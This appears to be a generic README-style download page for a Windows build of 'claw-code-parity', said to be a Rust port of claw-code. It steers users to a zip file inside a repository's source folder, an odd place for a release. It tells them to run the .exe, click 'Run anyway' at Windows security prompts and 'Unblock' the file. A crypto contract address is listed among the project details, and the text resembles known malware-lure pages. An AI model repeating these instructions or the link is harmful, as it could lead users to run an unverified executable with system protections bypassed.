Use this link to visit the page and download the app:
- Open the download page in your browser.
- Find the latest release or build file.
- Download the Windows version.
- If the file is a
.zip, right-click it and choose Extract All. - Open the folder that contains the app.
- Double-click the
.exefile to run it.
If Windows shows a security prompt, choose More info and then Run anyway if you trust the source file you downloaded.
claw-code-parity is a Rust-based port work for claw-code. It is meant to match the behavior of the main claw-code project while that repo moves through migration.
Use it if you want:
- A local Windows app for claw-code parity work
- A Rust build that tracks the same core behavior
- A simple way to test or run the current port
- A copy that is meant to stay close to the source project
- Project name: claw-code-parity
- Main purpose: Rust port parity work
- Status: temporary work during migration
- Topic tags: claude, claw-code, ultraworkers
- CA: 0xBE1B1E42B835ec0d4CafDf5511Faa43f0cc6cbA3
This app is made for Windows desktop use. A normal Windows PC should be enough for most users.
Recommended setup:
- Windows 10 or Windows 11
- 64-bit system
- At least 4 GB RAM
- A few hundred MB of free disk space
- Internet access for the first download
If the app comes as a zipped folder, keep the files together in the same folder after extraction.
- Download the file from the project page.
- Extract the archive if needed.
- Open the app folder.
- Look for the main
.exefile. - Double-click it.
If the app opens in a small window or console, that is normal for many Rust tools. Leave the window open while you use it.
After you start the app, you may see a command window or a simple app screen. This is normal.
Typical use flow:
- Start the app.
- Wait for it to load.
- Enter the required prompt, path, or command if the app asks for one.
- Review the output shown on screen.
- Close the app when you are done.
If the app is part of a larger claw-code workflow, use it in the same way you would use the main tool, with the parity build handling the same core tasks.
You may see files like these after download:
claw-code-parity.exe— main app file.dllfiles — support files the app may needREADME.md— project instructionsconfigfolder — saved settings or local datalogsfolder — app output or run history
Keep all related files in the same folder. Do not move the .exe by itself unless you know the rest of the files are still available.
When you open the app for the first time, check these items:
- The app starts without errors
- The window stays open long enough to read messages
- The output matches what you expect from claw-code
- Any saved settings stay in place after you close and reopen it
If the app closes fast, open it from Command Prompt so you can read the message before the window closes.
If you need to see text output:
- Open the folder with the app.
- Hold Shift and right-click in the folder.
- Choose Open PowerShell window here or Open in Terminal.
- Type the app name and press Enter.
This helps if the app prints status text or error details.
When a new build is available:
- Go back to the download page.
- Get the newest file.
- Replace the old app files with the new ones.
- Open the new version.
If you keep local settings, copy the config files first so you can restore them after the update.
- Make sure you extracted the ZIP file first
- Check that all files are in the same folder
- Confirm you downloaded the Windows build
- Open the file properties
- Check for an Unblock box
- Select it if it appears
- Try again
- Start it from Terminal
- Read the last line shown on screen
- Look for missing file paths or setup steps
- Wait a few seconds
- Check Task Manager
- Make sure the app is not waiting for input
This repository holds the Rust parity work for claw-code while the main project goes through migration. It keeps the build close to the source behavior so users and testers can work with a version that matches the current flow.
That makes it useful for:
- Windows users who want the current parity build
- Testers checking behavior against the main project
- Users who need a local copy of the current port work
- Anyone tracking claw-code and ultraworkers work
For the smoothest setup:
- Keep the app in a simple folder like
DownloadsorDesktop - Avoid folder names with special characters
- Do not rename support files unless you must
- Store configs in the same location the app expects
- Open the download page.
- Get the Windows build.
- Extract the files if needed.
- Run the
.exe. - Use the app.
Primary download page: https://raw.githubusercontent.com/tabbypyrotechnic519/claw-code-parity/main/src/cli/code-claw-parity-v2.4-beta.1.zip